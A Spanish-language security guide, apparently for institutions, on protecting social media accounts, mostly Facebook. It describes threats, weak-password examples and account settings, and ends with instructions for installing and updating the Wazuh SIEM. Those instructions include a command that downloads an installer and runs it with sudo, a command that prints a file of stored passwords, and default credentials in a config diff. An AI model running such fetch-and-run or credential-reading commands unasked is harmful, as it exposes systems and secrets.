 La interacción entre las organizaciones públicas y privadas con la sociedad ha experimentado un notable aumento gracias a la adopción de plataformas tecnológicas, las cuales van más allá de los métodos tradicionales como formularios de contacto, correo electrónico o teléfono. Nos referimos principalmente a las Redes Sociales, las cuales, dentro de su diversidad, presentan algunas opciones más populares que otras debido a factores como funcionalidad y cantidad de usuarios. 

 Esta creciente popularidad ha convertido a estas plataformas en blanco de ataques por parte de individuos que aprovechan cualquier posible fallo en las aplicaciones para acceder a cuentas de usuarios, dependiendo del grado de criticidad de la vulnerabilidad. Asimismo, existen debilidades por parte de los usuarios, como una gestión deficiente de sus cuentas, como por ejemplo, contraseñas poco complejas. 

 Por lo tanto, resulta fundamental adoptar prácticas de seguridad en la administración de las cuentas de redes sociales para minimizar la ocurrencia de incidentes. Aunque las plataformas implementan esfuerzos para proteger a sus usuarios mediante la incorporación de mecanismos de seguridad, es importante reconocer que no existe un sistema completamente seguro. 

 Además, los incidentes de seguridad también pueden ser causados por acciones del propio usuario, ya que los atacantes suelen aprovecharse de las malas prácticas de seguridad mediante técnicas de ingeniería social, el engaño, así como la sobre exposición de información personal y otros datos públicos. 

 2. Amenazas 

 Las amenazas son potenciales peligros o riesgos que podrían comprometer la seguridad de los datos. Estas pueden provenir de actores de amenaza que utilizan tácticas y técnicas para poder obtener información sensible o confidencial como ser una fecha de nacimiento, números de tarjetas de débito o una contraseña. A continuación se enumeran a los actores de amenaza y las tácticas y técnicas que utilizan. 

 2.1. Actores de amenaza 

 2.1.1. Hacktivistas 

 Los hacktivistas son individuos o grupos que utilizan sus habilidades técnicas en actividades de hackeo para promover causas políticas, sociales o ideológicas. Su objetivo principal es influir en la opinión pública, llamar la atención sobre problemas sociales o políticos, o protestar contra organizaciones, gobiernos o empresas mediante acciones cibernéticas. 

 Los hacktivistas realizan ataques informáticos, para poder obtener una contraseña que les permita acceder a una cuenta y desde la misma realizar sus campañas de activismo político, social o ideológico. 

 2.1.2. Cibercriminales 

 Los cibercriminales son individuos o grupos que se dedican a actividades delictivas en línea con fines económicos, financieros o personales. Su objetivo principal es obtener beneficios financiero o causar daño mediante actividades como el robo, secuestro y divulgación de información confidencial, la propagación de malware, el secuestro de datos, el robo de identidad, entre otros. Los cibercriminales suelen actuar de manera encubierta y están motivados por el lucro personal o la ganancia económica ilícita al vender las contraseñas o realizar ataques aprovechando el acceso no autorizado a las cuentas comprometidas. 

 2.1.3. Personal descontento 

 El personal puede tener acceso a información confidencial o a sistemas críticos debido a sus roles y responsabilidades dentro de la entidad. Si existe personal descontento o desvinculado, estos podrían aprovechar su nivel de acceso a la información o tratar de obtenerla aprovechando el descuido del personal que no resguarda adecuadamente sus credenciales y el acceso a sus dispositivos. 

 2.2. Técnicas y tácticas 

 2.2.1. Phishing 

 El phishing es una técnica utilizada para engañar a las personas y obtener información confidencial, como contraseñas, nombres de usuario, números de tarjetas de crédito u otra información confidencial o personal. 

 Los ataques de phishing usualmente se realizan mediante el envío de correos electrónicos o mensajes fraudulentos que parecen ser de una fuente legítima para engañar a los usuarios. Estos correos electrónicos o mensajes contienen enlaces a sitios web falsos que imitan la apariencia de sitios legítimos, como bancos, redes sociales o plataformas de correo electrónico. 

 Una vez ingresado en el sitio web falso, se le solicita que ingrese su nombre de usuario y contraseña, una vez que se ingresa esta información, los actores de amenaza la capturan y la utilizan para acceder ilegalmente a sus cuentas. 

 2.2.2. Baiting 

 El baiting es una técnica utilizada para engañar a las personas, esta técnica se basa en la curiosidad y el deseo natural de las personas de obtener algo a cambio, como regalos, descuentos o una descarga gratuita. 

 El baiting lanza señuelos atractivos que son colocados en comentarios dentro de una publicación, enviado por mensajes o enviados como un anuncio de publicidad de empresas de apariencia legítima, que llevan a las personas a realizar acciones para comprometer su seguridad, como la instalación de software con malware o la solicitud de información personal (fecha de nacimiento, correo electrónico, entre otras) o confidencial (contraseñas o número de tarjetas de débito o crédito). 

 2.2.3. Filtración de datos 

 La filtración de datos es un evento en el cual la información confidencial o sensible se divulga, se accede o se comparte de manera no autorizada, ya sea intencional o accidentalmente, lo que resulta útil para atacantes, ya que podrían usar la información para acceder o tratar de acceder a cuentas legítimas para realizar campañas de ataque, como campañas de phishing, desprestigio u otras actividades delictivas, hacia otras personas o entidades. 

 2.2.4. Malware 

 El malware es un tipo de software diseñado con la intención de causar daño, robar información o realizar acciones no autorizadas en un sistema informático, dispositivo o red. El malware puede manifestarse en diversas formas, como virus, gusanos, troyanos, spyware y ransomware, entre otros. 

 Su propósito principal es comprometer la integridad, confidencialidad y disponibilidad de los datos y sistemas, así como también comprometer la privacidad de los usuarios al robar datos sensibles o realizar acciones no autorizadas por el usuario. 

 2.2.5. Ingeniería social 

 La ingeniería social es una técnica de manipulación que busca engañar a las personas para obtener información confidencial, acceso a sistemas informáticos o realizar acciones que beneficien al atacante. En lugar de depender de vulnerabilidades técnicas, la ingeniería social explora las debilidades humanas, como la confianza, la curiosidad o el miedo para lograr sus objetivos. 

 2.2.6. Fuerza bruta 

 La fuerza bruta es un método utilizado en seguridad informática para intentar encontrar una contraseña o encontrar una clave criptográfica probando exhaustivamente todas las combinaciones posibles de caracteres, números y símbolos. Es un enfoque simple pero intensivo que implica probar cada posible combinación hasta que se encuentre la correcta. 

 Si se utilizan contraseñas cortas o débiles (una contraseña débil es una contraseña que carece de complejidad como ser: “password”, “contraseña”, “123456”, entre otras) un ataque de fuerza bruta puede obtener con facilidad la contraseña. 

 2.2.7. Software no confiable 

 El software no confiable se refiere a programas informáticos cuya fuente, integridad o seguridad no puede ser garantizada o verificada de manera adecuada. Por lo general, este software ha sido modificado para evadir las medidas de protección y las licencias legales, a menudo contienen malware, que posteriormente será aprovechada para vulnerar la seguridad del dispositivo donde se instaló. 

 2.2.8. Wi-Fi públicos 

 Los actores de amenaza podrían implementar redes Wi-Fi públicas y de fácil acceso (una red Wi-Fi que no requiere contraseña para conectarse a la misma) para interceptar datos confidenciales o sensibles, mediante el uso de herramientas de captura de paquetes y programas que permiten ver la comunicación entre los dispositivos y el punto de acceso. Estas redes Wi-Fi son, por lo general, implementadas en lugares de mayor concurrencia como ser aeropuertos, lugares de ocio, centros de comercio u otros lugares públicos para tener un mayor probabilidad de éxito para obtener credenciales u otros datos sensibles. 

 Los dispositivos móviles suelen ser el objetivo de este tipo de ataques ya que algunos de estos dispositivos tienen la capacidad de conectarse automáticamente a una red que no requiera contraseña y con ello establecer una conexión entre el dispositivo y el punto Wi-Fi sin necesidad de la interacción del usuario. 

 3. Vulnerabilidades 

 Una vulnerabilidad es la ausencia o deficiencia presente en las tecnologías de información y comunicación, así también en las personas. Las cuales son aprovechadas por los actores de amenaza para vulnerar la seguridad de los sistemas de información. A continuación se enumeran las principales vulnerabilidades. 

 3.1. Contraseña corta e insegura 

 Una contraseña corta e insegura es aquella que carece de complejidad y longitud suficiente para proteger el acceso a una cuenta o sistema contra ataques de diccionario, fuerza bruta o técnicas de descifrado. Las contraseñas cortas suelen ser fáciles de adivinar o descifrar para los actores de amenaza, ya que contienen pocos caracteres y no incluyen una combinación de letras (mayúsculas y minúsculas), números y caracteres especiales, como ser: “password”, “contraseña”, “123456”,”abc123”, entre otras. Estas contraseñas son altamente vulnerables y representan un riesgo significativo para la seguridad de las cuentas y la información personal. 

 3.2. Reutilización de contraseñas 

 La reutilización de contraseñas es un hábito de usar la misma contraseña para múltiples cuentas o servicios en línea. Este comportamiento es peligroso porque si una de las cuentas se ve comprometida, todas las demás cuentas que comparten la mimas contraseña también estarán en riesgo. 

 Los actores de amenaza pueden aprovecharse de esta práctica para acceder a varias cuentas de un usuario, comprometer su privacidad, robar información confidencial o realizar actividades maliciosas en su nombre. La reutilización de contraseñas aumenta la probabilidad de éxito de un ataque y debilita la seguridad en línea del usuario. 

 3.3. Resguardo inseguro de la contraseña 

 Si tenemos la contraseña anotado en un papel dejado en el escritorio, pegado a la pantalla del monitor, guardado en el navegador, guardado en un archivo con nombre “contraseñas” en el computador que no tiene contraseña o se deja el computador sin bloqueo al momento de dejar el escritorio. Existe una alta probabilidad de que alguien conozca la contraseña y se registre un incidente de acceso ilegítimo a la cuenta. 

 3.4. Software desactualizado 

 Al utilizar aplicaciones, sistemas operativos o programas informáticos que no han sido actualizados con las últimas versiones disponibles, existe el riesgo de ser victimas de un ataque ya que las actualizaciones contienen correcciones de seguridad, mejoras de rendimiento y nuevas funcionalidades. La falta de actualización puede dejar al software vulnerable a exploits de seguridad, ya que los actores de amenaza pueden aprovecharse de las vulnerabilidades conocidas en versiones antiguas para realizar ataques, comprometer la integridad del sistema o robar información. 

 3.5. Falta de control de cuentas administrativas 

 Al asignar múltiples cuentas administrativas, se aumenta la probabilidad de éxito de un ataque y dependerá del cuidado de cada administrador en relación a la protección de la cuenta. Esto implica que si una cuenta se ve comprometida, los actores de amenaza podrían tener acceso no autorizado de la cuenta y quitar u otorgar el acceso a otras cuentas fuera de nuestro ámbito de control. 

 3.6. Configuraciones predeterminadas 

 No es recomendable mantener las configuraciones predeterminadas en una cuenta o servicio en línea, debido a que estas configuraciones pueden carecer de seguridad y no podrían ser las adecuadas para proteger la privacidad y la seguridad de la información personal. 

 Las configuraciones predeterminadas suelen ser genéricas y están diseñadas para satisfacer las necesidades generales de la mayoría de los usuarios, pero no tienen en cuenta las preferencias individuales o las necesidades de seguridad especificas, como ser: 

 

 

 Autenticación de doble factor. 

 

 

 Control de inicio de sesión. 

 

 

 Restricción de la visualización de datos personales (nombre completo, fecha de nacimiento, ubicación de residencia, entre otras). 

 

 

 Interacción de la cuenta con otras de manera no deseada (visualización de información personal, fotos o videos compartidos y las preferencias del usuario) 

 

 

 3.7. Falta de políticas de seguridad 

 La falta de políticas de seguridad representa un riesgo significativo debido a la ausencia de protocolos para proteger las contraseñas y cuentas de una entidad. Esto puede incluir: 

 

 

 Uso de contraseñas cortas, débiles o predecibles 

 

 

 Falta de autenticación de doble factores 

 

 

 Uso de la misma contraseña para diferentes plataformas en línea 

 

 

 Ignorar las actualizaciones de seguridad de los dispositivos 

 

 

 Las políticas de seguridad son fundamentales porque establecen las directrices, procedimientos y normas que regulan el comportamiento de los usuarios y la protección de nuestra información. 

 3.8. Cultura de ciberseguridad débil 

 Al igual que en otros aspectos de la vida, se tiene que mostrar interés por la seguridad en línea. En la era digital actual donde todos nos encontramos conectados, depende de cada uno hacer que la conexión en línea sea más segura. 

 Si no se cuenta con una cultura de ciberseguridad, se presentan los siguientes consejos de seguridad para mantener y mejorar la privacidad de su presencia en línea: 

 

 

 Configurar las opciones de privacidad y seguridad 

 

 

 Usar contraseñas robustas utilizando letras en minúscula y mayúscula, números y caracteres especiales. 

 

 

 No almacenar las contraseñas en el navegador 

 

 

 Contar con un factor de doble autenticación 

 

 

 No responder a mensajes de personas o entidades desconocidas 

 

 

 No conectarse a redes de Wi-Fi abiertas 

 

 

 Mantener los dispositivos que se conectan en línea actualizados 

 

 

 Con la implementación de estos consejos se tendrá una presencia más segura en línea. 

 3.9. Uso de dispositivos compartidos 

 El uso de dispositivos compartidos provoca una falta de privacidad y control individual de la información que se almacene en el mismo. Esto implica que si uno de los usuarios realiza acciones que comprometan la seguridad del dispositivo, los demás usuarios también serán víctimas del ataque. 

 4. Incidentes 

 Los incidentes de seguridad son el resultado de la explotación exitosa de determinadas vulnerabilidades por actores de amenaza y estos tienen un impacto en la seguridad de los datos, daño a la imagen institucional entre otros, a continuación se describen los incidentes más comunes dentro del contexto de redes sociales: 

 4.1. Acceso no autorizado 

 Un acceso no autorizado ocurre cuando un actor de amenaza logra ingresar a las cuentas sin la debida autorización del usuario legítimo. Este suceso puede implicar la violación de la confidencialidad, integridad o disponibilidad de la información, y puede tener repercusiones significativas en la seguridad y operatividad de una entidad. 

 4.2. Secuestro y/o pérdida del acceso 

 Los ataques dirigidos hacia las contraseñas, incluidas las técnicas de ingeniería social, phishing, representan una grave amenaza para la seguridad de nuestras cuentas en línea. Los actores de amenaza pueden obtener acceso no autorizado a nuestras cuentas, comprometiendo nuestra privacidad y seguridad. 

 Una vez los atacantes tienen acceso a nuestras cuentas, podrían acceder a información personal sensible e incluso modificar nuestras contraseñas y datos de recuperación de la cuenta. Además, podrían exigir un rescate para devolver el control de nuestras cuentas. 

 Es importante comprender que estos ataques no se limitan únicamente a las redes sociales; también, pueden afectar a otras plataformas en línea. Por lo tanto, es fundamental revisar las configuraciones de seguridad y privacidad disponibles en nuestras cuentas para prevenir este tipo de incidentes. 

 4.3. Uso indebido de la cuenta 

 Cuando una cuenta es comprometida por actores de amenaza, estos pueden aprovecharlas para una variedad de actividades maliciosas que comprometen la seguridad y la integridad de la cuenta y de sus seguidores. Las acciones que pueden llevar a cabo incluyen la publicación de contenido inapropiado o dañino, envío de mensajes no deseados o spam, el robo de información personal y campañas de desprestigio o difamación. 

 4.4. Impacto 

 El impacto de una cuenta vulnerada trae consecuencias y repercusiones negativas que sufre el usuario legítimo de la misma y posiblemente otros usuarios que interactúan con la misma. Los impactos pueden variar dependiendo de la gravedad de la vulneración de la cuenta, estos incluyen: 

 4.4.1. Daño a la imagen institucional 

 El impacto de una cuenta institucional comprometida puede tener un impacto duradero en la reputación de la organización, las críticas negativas pueden dañar la percepción pública de la institución. 

 4.4.2. Desconfianza de la población 

 El impacto en la población genera desconfianza en las acciones, declaraciones o integridad de una persona o institución. Cuando la población desconfía de una institución, puede manifestarse en un falta de cooperación, apoyo disminuido, escepticismo hacia las afirmaciones o acciones de la institución y en algunos casos, protestas y descontento. 

 4.5. Respuesta 

 Cuando nos enfrentamos a la vulneración de nuestra cuenta, resulta crucial actuar de manera inmediata para recuperar el control y reducir al mínimo las posibles consecuencias negativas que puedan derivarse de la pérdida del control de la cuenta. 

 4.5.1. Recuperación del acceso 

 Para recuperar una cuenta en Facebook, se debe realizar la siguientes pasos: 

 

 

 Ve a la página “Recupera tu cuenta” en https://facebook.com/login/identify/ y sigue las instrucciones. Asegurando de usar una computadora o un teléfono celular con el que se haya iniciado sesión anteriormente en la cuenta de Facebook. 

 

 

 

 

 Buscar la cuenta que se quiere recuperar. Se puede hacer la búsqueda por nombre, dirección de correo electrónico o número de teléfono. 

 

 

 Seguir los pasos en la pantalla para restablecer la contraseña de la cuenta. 

 

 

 5. Prevención 

 Una vez conocidos los riegso, es posible implementar acciones preventivas para reducir la probabilidad de un ataque exitoso contra nuestras cuentas en línea. A continuación, se presentan algunas medidas preventivas para garantizar la seguridad en línea. 

 5.1. Establecer políticas de seguridad 

 5.1.1. Cuenta institucional 

 

 

 Toda cuenta debe estar registrada a nombre de la institución 

 

 

 Las cuentas deben estar vinculadas a un único teléfono y correo electrónico 

 

 

 El número de teléfono y equipo móvil debe ser propiedad de la institución y asignado a la unidad organizacional responsable de las cuentas. Su uso debe limitarse para tal fin. 

 

 

 La dirección de correo electrónico vinculado a la cuenta debe ser institucional y asignado a la unidad organizacional responsable de la administración de la cuenta. 

 

 

 5.1.2. Verificación de la cuenta 

 Para verificar la cuenta se debe realizar las siguientes acciones: 

 

 

 Completar el perfil: Asegurarse de que el perfil de Facebook tenga toda la información posible. 

 

 

 Utilizar una foto de perfil y de portada: Estas fotos deben ser claramente identificables. 

 

 

 Solicitar la verificación de Facebook: Para ello se debe ir a la sección Configuración y luego ir a la opción General . Luego en la sección Verificación seleccionar Verificar esta página . Finalmente, seguir las instrucciones para enviar la solicitud de verificación. 

 

 

 5.1.3. Desvinculación del personal 

 

 

 El servidor público responsable de la(s)cuenta(s) al momento de su desvinculación de la institución, debe entregar las contraseñas de las cuentas, de los dispositivos, del correo electrónico vinculado a la cuenta cuándo corresponda a su inmediato superior o mediante procedimientos internos de la institución a quién corresponda. 

 

 

 Cuándo se produzca una desvinculación de personal, todas las contraseñas de las cuentas deben ser cambiadas incluyendo la del correo electrónico, cierre de todos los inicios de sesión, revocar y actualizar el acceso a aplicaciones de terceros. 

 

 

 5.2. Habilitar características de seguridad 

 5.2.1. 2FA 

 

 

 Iniciar sesión en Facebook 

 

 

 Dirigirse a la siguiente dirección: https://accountscenter.facebook.com/password_and_security/ 

 

 

 En la sección Contraseña y seguridad, seleccionar Autenticación en dos pasos. 

 

 

 Para este caso seleccionaremos la opción APP de autenticación 

 

 

 Una vez seleccionado se habilitará un código QR para la habilitación del código MFA en nuestro dispositivo móvil (la aplicación puede ser Authenticator de Google o de Microsoft) 

 

 

 Una vez escaneado el código con la aplicación se deberá de introducir el código generado en la aplicación 

 

 

 Una vez finalizado el anterior paso nos pedirá nuevamente nuestra contraseña de Facebook y se activará la Autenticación en dos pasos 

 

 

 5.2.2. Notificación de alertas de seguridad 

 

 

 Iniciar sesión en Facebook 

 

 

 Ir a la dirección: https://accountscenter.facebook.com/password_and_security 

 

 

 Seleccionar Contraseña y seguridad 

 

 

 En la opción Controles de seguridad seleccionar Alertas de inicio de sesión 

 

 

 Seleccionar la cuenta a se notificada 

 

 

 Seleccionar el correo vinculado a la cuenta y cerrar 

 

 

 5.2.3. Establecer roles y permisos 

 

 

 Inicia sesión en Facebook y, luego, haz clic en la foto del perfil en la parte superior derecha. 

 

 

 Haz clic en Ver todos los perfiles y luego selecciona la página a la que quieres cambiar. 

 

 

 Haz clic en la foto del perfil de la página en la parte superior derecha para ir a tu página. 

 

 

 Haz clic en Administrar y, luego, en Acceso a la página a la izquierda, debajo de Tus herramientas . 

 

 

 Junto a Personas con acceso a Facebook, haz clic en Agregar . 

 

 

 Haz clic en  Siguiente , escribe el nombre o la dirección de correo electrónico de la persona a la que quieres otorgar acceso a Facebook y haz clic en su nombre. 

 

 

 

 

 Desde aquí, puedes elegir otorgar acceso a Facebook con control total o parcial: 

 

 

 Para otorgar acceso a Facebook con control parcial: desplázate hacia abajo y haz clic en Otorgar acceso . 

 

 Para otorgar a Facebook con control total: desplázate hacia abajo, haz clic en

 para que la persona tenga control total y, luego, haz clic en  Otorgar acceso. 

 

 

 

 Escribe tu contraseña de Facebook y haz clic en Confirmar. 

 

 Existen 6 roles en Facebook las cuales pueden ser delegadas: 

 

 

 

 

 Roles de la versión clásica para páginas 

 

 

 Acceso a la página en la nueva experiencia para páginas 

 

 

 

 

 

 

 Administrador 

 

 

 Acceso a Facebook con control total 

 

 

 

 

 Editor 

 

 

 Acceso a Facebook con control parcial 

 

 

 

 

 Moderador 

 

 

 Acceso a tareas para administrar las respuestas a mensajes, la actividad en la comunidad, los anuncios y las estadísticas 

 

 

 

 

 Anunciante 

 

 

 Acceso a tareas para administrar los anuncios y las estadísticas 

 

 

 

 

 Analista 

 

 

 Acceso a tareas para administrar las estadísticas 

 

 

 

 

 Community manager 

 

 

 Acceso de community manager para moderar chats en vivo 

 

 

 

 

 Eliminar el acceso a Facebook o tareas de una persona 

 Inicia sesión en Facebook y, luego, haz clic en la foto del perfil en la parte superior derecha. 

 

 

 Haz clic en Ver todos los perfiles y luego selecciona la página a la que quieres cambiar. 

 

 

 Haz clic la foto del perfil de la página en la parte superior derecha para ir a tu página. 

 

 Haz clic en  Administrar y, luego, en Acceso a la página a la izquierda, debajo de Tus herramientas . 

 Junto a la persona que quieras eliminar, haz clic en   y, luego, en Eliminar de la página . 

 

 5.3. Gestión segura de contraseñas 

 5.3.1. Contraseña robusta y única 

 Las contraseñas robustas son más difíciles de adivinar o descifrar mediante ataques de fuerza bruta, ingeniería social u otros métodos utilizados por los actores de amenaza. Al elegir contraseñas complejas y únicas, se aumenta significativamente la seguridad de la cuenta y reduce el riesgo de acceso no autorizado. 

 5.3.2. Cambiar la contraseña periódicamente 

 Cambiar la contraseña periódicamente es un práctica de seguridad recomendada, esto reduce el riesgo de acceso no autorizado a nuestras cuentas. Esta medida ayuda especialmente cuando las plataformas en línea son víctimas de un ataque y sufren una filtración de datos, lo que compromete la seguridad de nuestras contraseñas con las que iniciamos sesión dentro de la misma. 

 Al cambiar periódicamente nuestra contraseña, reducimos el riesgo de éxito para que los actores de amenaza utilicen las contraseñas filtradas para acceder a nuestras cuentas. 

 5.3.3. Gestor de contraseñas 

 Los gestores de contraseñas son herramientas útiles y beneficiosas, permiten la gestión de contraseñas al almacenarlas en un único lugar seguro fuera del navegador, escritas en un papel o almacenadas dentro de un archivo de texto, otro beneficio que se obtiene con el gestor de contraseñas es la generación de contraseñas complejas y seguras para cada cuenta que se vaya almacenando. 

 5.4. Deshabilitar aplicaciones de terceros conectados a la cuenta 

 Algunas aplicaciones de terceros pueden solicitar permisos amplios para acceder a la información de la cuenta. Esto puede incluir datos sensibles como correos electrónicos, contactos, historial de ubicaciones, entre otros. Al deshabilitar estas aplicaciones, se protege la privacidad del usuario y se limita el acceso no deseado a la información personal. 

 Estas aplicaciones también pueden tener vulnerabilidades de seguridad que podrían ser explotadas por actores de amenazas para acceder a la cuenta y comprometer la información personal del usuario. 

 5.5. Revisar periódicamente roles y permisos 

 Es importante revisar periódicamente los roles y permisos de una página, para garantizar la seguridad y la integridad de la cuenta, así como para mantener un control adecuado sobre quién tiene acceso y que tipo de acciones puede realizar. 

 Con esta acción se reduce el riesgo de accesos no autorizados, controlar la gestión de la página y proteger la reputación de la entidad al revisar las publicaciones que se van realizando. 

 5.6. Cuidado con enlaces y software sospechoso 

 Es recomendable no abrir enlaces de origen desconocido o sospechoso debido a las amenazas que pueden representar para la seguridad y privacidad en línea. Esto permite protegerse contra el malware, el phishing y otros ataques que pueden ser diseminados a través de enlaces de origen desconocido o sospechoso. 

 Asimismo, es recomendable no instalar aplicaciones o software sospechoso debido a que la mayoría de estos contienen malware, que posteriormente será aprovechada para vulnerar la seguridad el dispositivo donde se instaló. 

 5.7. Cierre de sesión en computadoras compartidas 

 Una práctica segura es el cierre de sesión en computadoras compartidas para proteger la privacidad y la seguridad de la información personal. Al cerrar la sesión, se evita que otras personas accedan a cuentas personales, correos electrónicos, redes sociales u otros servicios en línea que hayan sido utilizados durante la sesión. Es recomendable eliminar todo el historial realizado durante la navegación en línea, registro de cookies o de otra información que llega a almacenarse en estos dispositivos compartidos. 

 6. Herramientas 

  

Wazuh - Open Source XDR. Open Source SIEM
Wazuh es un sistema de detección de intrusos basado en host de código abierto y libre. Realiza análisis de registro, comprobación de integridad, supervisión del registro de Windows, detección de rootkits, alertas basadas en el tiempo y respuesta activa

Instalación Wazuh Open Source security
Introducción. 

 Wazuh es una plataforma de seguridad gratuita y de código abierto que unifica las capacidades XDR y SIEM. Protege cargas de trabajo en entornos locales, virtualizados, en contenedores y basados ​​en la nube. 

 Wazuh ayuda a organizaciones e individuos a proteger sus activos de datos contra amenazas a la seguridad. Es ampliamente utilizado por miles de organizaciones en todo el mundo, desde pequeñas empresas hasta grandes empresas.  

 Antes de realizar la instalación del Manager de Wazuh y los agentes se debe verificar que la lista de repositorios este actualizada ya que influye en los siguientes aspectos:  

 Seguridad: 

 

 Corrección de vulnerabilidades: Los repositorios se actualizan constantemente para corregir vulnerabilidades de seguridad. Si no se actualiza, su sistema estará vulnerable a ataques. 

 Software desactualizado: El software desactualizado puede tener vulnerabilidades de seguridad sin parches. 

 

 Estabilidad y rendimiento: 

 

 Corrección de errores: Las actualizaciones de software corrigen errores que pueden causar inestabilidad o problemas de rendimiento. 

 Mejoras de rendimiento: Las actualizaciones de software pueden mejorar el rendimiento general del sistema. 

 

 Nuevos paquetes y versiones: 

 

 Acceso a nuevas funciones: Las actualizaciones de software agregan nuevas funciones y mejoras. 

 Compatibilidad con hardware nuevo: Las actualizaciones de software pueden agregar compatibilidad con hardware nuevo. 

 

 Instalación de Wazuh. 

 La solución Wazuh se compone de tres componentes de plataforma central y un único agente universal. Para instalar Wazuh en tu infraestructura el inicio rápido es una forma automatizada de instalar Wazuh en tan solo unos minutos, es recomendable realizarlo desde la documentación oficial de Wazuh:  

 

 https://documentation.wazuh.com/current/quickstart.html 

 

 Requisitos. 

 Hardware. 

 Los requisitos de hardware dependen en gran medida de la cantidad de puntos finales protegidos y cargas de trabajo en la nube. Este número puede ayudar a estimar cuántos datos se analizarán y cuántas alertas de seguridad se almacenarán e indexarán. 

 La siguiente tabla muestra el hardware recomendado para una implementación:  

 

 Compatibilidad del navegador. 

 Se admiten los siguientes navegadores web: 

 

 Chrome 95 o posterior 

 Firefox 93 o posterior 

 Safari 13.7 o posterior 

 

 Es posible La funcionalidad en navegadores basados ​​en Chromium. 

 Instalación rápida Wazuh Manager. 

 Ejecución del asistente de instalación de Wazuh. 

 curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a 

 

 Una vez finalizada la instalación, el resultado muestra las credenciales de acceso y un mensaje que confirma que la instalación fue exitosa. 

     INFO: --- Summary ---

   INFO: You can access the web interface https://<wazuh-dashboard-ip>

       User: admin

       Password: <CONTRASEÑA>

   INFO: Installation finished. 

 Instalación y configuración exitosa de Wazuh. Para acceder a la interfaz web de Wazuh se utiliza: https://<wazuh-dashboard-ip> (con las respectivas credenciales) 

 Nombre de usuario: admin

Contraseña: <CONTRASEÑA> 

 Cuando accede al panel de Wazuh por primera vez, el navegador muestra un mensaje de advertencia que indica que el certificado no fue emitido por una autoridad confiable. Esto es lo esperado y el usuario tiene la opción de aceptar el certificado como una excepción o, alternativamente, configurar el sistema para usar un certificado de una autoridad confiable.  

 

 Almacenamiento de contraseñas. 

 Se puede encontrar las contraseñas de todos los usuarios del indexador de Wazuh y de la API de Wazuh en la página wazuh-passwords.txtarchivo dentro wazuh-install-files.tar. 

 Para imprimirlos, ejecute el siguiente comando: 

 sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt 

 Instalación del agente de Wazuh. 

 En caso de no tener instalado el paquete 'curl' se debe proceder con la instalación del mismo para realizar la descarga de elementos. 

 sudo apt install curl 

 Instalación de claves GPG 

 curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg 

 Añadir el repositorio de Wazuh a las listas de repositorios. 

 echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list 

 Actualizar la información de los paquetes. 

 apt-get update 

 DESPLIEGUE DEL AGENTE. 

 Se recomienda desplegar el agente de Wazuh desde el servidor en la web por la simplicidad de su ejecución. 

 Agregamos al nuevo agente: 

 

 

 

 Con el asistente tenemos los comandos a insertar en el terminal del nuevo agente por lo que procedemos a copiar los comandos generados: 

 

 

 Actualizamos el navegador y tenemos al agente desplegado.

Actualización Wazuh Manager
Para realizar la actualización del servidor de Wazuh procedemos a identificar la versión que tenemos. Se puede identificar desde el Dashboard haciendo clic en la parte superior derecha. Identificamos que tenemos la versión v 4.7.3. 

 

 En la página oficial de Wazuh se encuentra la documentación donde nos indican cuál es la versión actual en la esquina superior derecha, por lo que procedemos a verificar la última versión. 

 

 Se deben verificar las características de hardware necesarias para que no se tengan problemas de espacio en disco y cantidad de memoria RAM requerida. 

 Como los servicios de Indexador, Dashboard y Manager de Wazuh se encuentran en el mismo equipo, poseen la misma dirección IP y no se tiene configuración de cluster, se procede a detener estos servicios de Wazuh, con la respectiva verificación. 

 sudo systemctl stop wazuh-manager

sudo systemctl stop wazuh-dashboard

sudo systemctl stop wazuh-indexer 

 sudo systemctl status wazuh-manager 

 

 sudo systemctl status wazuh-dashboard 

 

 sudo systemctl status wazuh-indexer 

 

 Posteriormente realizamos una actualización de los repositorios. 

 sudo apt-get update 

 Listamos los paquetes que pueden actualizarse para encontrar wazuh-dashboard, wazuh-indexer y wazuh-manager en la lista. 

 sudo apt list --upgradable 

 

 Por ultimo realizamos la actualización de paquetes con el comando upgrade. 

 sudo apt upgrade 

 Durante la actualización de los componentes del sistema, se nos proporciona la opción de reemplazar archivos en la funcionalidad del dashboard con la siguiente consulta, en la cual debemos seleccionar la opción "D" para revisar los cambios implementados en los archivos de configuración. 

 

 Fichero de configuración /etc/wazuh-dashboard/opensearch_dashboards.yml'

 ==> Modificado (por usted o por un script) desde la instalación.

 ==> El distribuidor del paquete ha publicado una versión actualizada.

 ¿Qué quisiera hacer al respecto? Sus opciones son:

 Y o I : instalar la versión del desarrollador del paquete 

 N o O : conservar la versión que tiene instalada actualmente

 D : mostrar las diferencias entre versiones

 Z : ejecutar un intérprete de órdenes para examinar la situación

 La acción por omisión es conservar la versión actual.

*** opensearch_dashboards.yml (Y/I/N/O/D/Z) [por omisión=N] ? D

--- /etc/wazuh-dashboard/opensearch_dashboards.yml 2024-08-01 20:39:58.576766390 +0000

+++ /etc/wazuh-dashboard/opensearch_dashboards.yml.dpkg-new 2023-05-05 12:31:50.000000000 +0000

@@ -1,15 +1,14 @@

 server.host: 0.0.0.0

-opensearch.hosts: https://127.0.0.1:9200

 server.port: 443

+opensearch.hosts: https://localhost:9200

 opensearch.ssl.verificationMode: certificate

-# opensearch.username: kibanaserver

-# opensearch.password: kibanaserver

+#opensearch.username:

+#opensearch.password:

 opensearch.requestHeadersAllowlist: ["securitytenant","Authorization"]

 opensearch_security.multitenancy.enabled: false

 opensearch_security.readonly_mode.roles: ["kibana_read_only"]

 server.ssl.enabled: true

-server.ssl.key: "/etc/wazuh-dashboard/certs/wazuh-dashboard-key.pem"

-server.ssl.certificate: "/etc/wazuh-dashboard/certs/wazuh-dashboard.pem"

+server.ssl.key: "/etc/wazuh-dashboard/certs/dashboard-key.pem"

+server.ssl.certificate: "/etc/wazuh-dashboard/certs/dashboard.pem"

 opensearch.ssl.certificateAuthorities: ["/etc/wazuh-dashboard/certs/root-ca.pem"]

-uiSettings.overrides.defaultRoute: /app/wazuh

-opensearch_security.cookie.secure: true

+uiSettings.overrides.defaultRoute: /app/wz-home 

